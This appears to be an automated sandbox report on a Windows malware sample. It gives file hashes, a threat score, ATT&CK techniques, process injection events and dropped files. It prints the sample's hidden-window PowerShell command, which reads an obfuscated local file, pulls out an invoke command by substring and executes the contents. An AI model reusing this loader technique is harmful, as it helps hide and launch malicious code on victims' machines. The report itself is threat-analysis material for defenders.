34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/05/2024, 01:22

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General

Target

34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe
Size

715KB
MD5

8bf77ce63ca8a74cdb6f68e500a3c55c
SHA1

acc29eb131fa05fc17cda4dd59f408f8549c2050
SHA256

34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca
SHA512

ef80bde286fe5c929745dff318a41abbe62fefeab88644ee306dfb8a47aed96b7f5a9d7da7e5b49cf50c01240c00655461367e9f48b5fea1359cbed82ebc7ce9
SSDEEP

12288:CEto9B/yhu8eO1rj6FDexWeo9jUlo5i2j3Em88w1MHzNrK1T6Rdoh5OQ38GN:CXoEGZj6Frl9v5i2YmW1eWjOe8GN

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1444	powershell.exe
1372	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe
2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1444	powershell.exe
1372	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 1444	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	28
PID 2776 wrote to memory of 1444	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	28
PID 2776 wrote to memory of 1444	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	28
PID 2776 wrote to memory of 1444	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	28
PID 2776 wrote to memory of 1372	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	30
PID 2776 wrote to memory of 1372	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	30
PID 2776 wrote to memory of 1372	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	30
PID 2776 wrote to memory of 1372	2776	34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe	30

C:\Users\Admin\AppData\Local\Temp\34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe
"C:\Users\Admin\AppData\Local\Temp\34c4a0ba138c27572a6c7ef1af7dbdbcface5dcbe246f857e41516b8269b7fca.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Retroclavicular=Get-Content 'C:\Users\Admin\AppData\Local\opbrusendes\traadormes\Retsvirkningslovs117\Morgendagen.geo';$Skillingsvisernes=$Retroclavicular.SubString(58311,3);.$Skillingsvisernes($Retroclavicular)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Retroclavicular=Get-Content 'C:\Users\Admin\AppData\Local\opbrusendes\traadormes\Retsvirkningslovs117\Morgendagen.geo';$Skillingsvisernes=$Retroclavicular.SubString(58311,3);.$Skillingsvisernes($Retroclavicular)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
874dda0177e566ab8753fdab048b5c41

SHA1
37515b6e6771dcbe4b01e6d2546aa341ca2b61cc

SHA256
8f52c6fe0a21f34a629ab296068a85f2ee19adf1941d203845a2ecafc5208447

SHA512
9f54aee4f4e01633586cec11cbde4572ef25cf7458a912be7d017750d50805cb013114ae1a029b3fd129ec1691809ffb1afc7649440ffe44cd042050dfdcc953

Download Submit
\Users\Admin\AppData\Local\Temp\nst8F84.tmp\nsExec.dll

Filesize
6KB

MD5
b5a1f9dc73e2944a388a61411bdd8c70

SHA1
dc9b20df3f3810c2e81a0c54dea385704ba8bef7

SHA256
288100583f65a2b7acfc0c7e231c0e268c58d3067675543f627c01e82f6fd884

SHA512
b9c8d71b5da00f2aff7847b9ec3bd8a588afeb525f47a0df235b52f7b2233edb3928a2c8e0b493f287c923cc52a340ad6fee99822595d6591df0e97870de92a8

Download Submit
memory/1444-103-0x00000000740F1000-0x00000000740F2000-memory.dmp

Filesize
4KB

Download
memory/1444-104-0x00000000740F0000-0x000000007469B000-memory.dmp

Filesize
5.7MB

Download
memory/1444-105-0x00000000740F0000-0x000000007469B000-memory.dmp

Filesize
5.7MB

Download
memory/1444-106-0x00000000740F0000-0x000000007469B000-memory.dmp

Filesize
5.7MB

Download
memory/1444-107-0x00000000740F0000-0x000000007469B000-memory.dmp

Filesize
5.7MB

Download
memory/1444-108-0x00000000740F0000-0x000000007469B000-memory.dmp

Filesize
5.7MB

Download